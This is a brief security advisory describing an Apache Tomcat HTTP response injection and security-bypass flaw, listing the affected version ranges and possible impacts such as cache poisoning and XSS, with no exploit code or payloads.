1) Description:
|
|
Apache Tomcat is prone to a security-bypass vulnerability.
|
|
An attacker can exploit this issue to bypass certain security restrictions
|
|
and perform unauthorized actions. This may lead to further attacks.
|
|
Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1
|
|
through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are
|
|
vulnerable.
|
|
This could be exploited, in conjunction with a proxy that also permitted
|
|
the invalid characters but with a different interpretation, to inject data
|
|
into the HTTP response. By manipulating the HTTP response the attacker
|
|
could poison a web-cache, perform an XSS attack and/or obtain sensitive
|
|
information from requests other then their own.
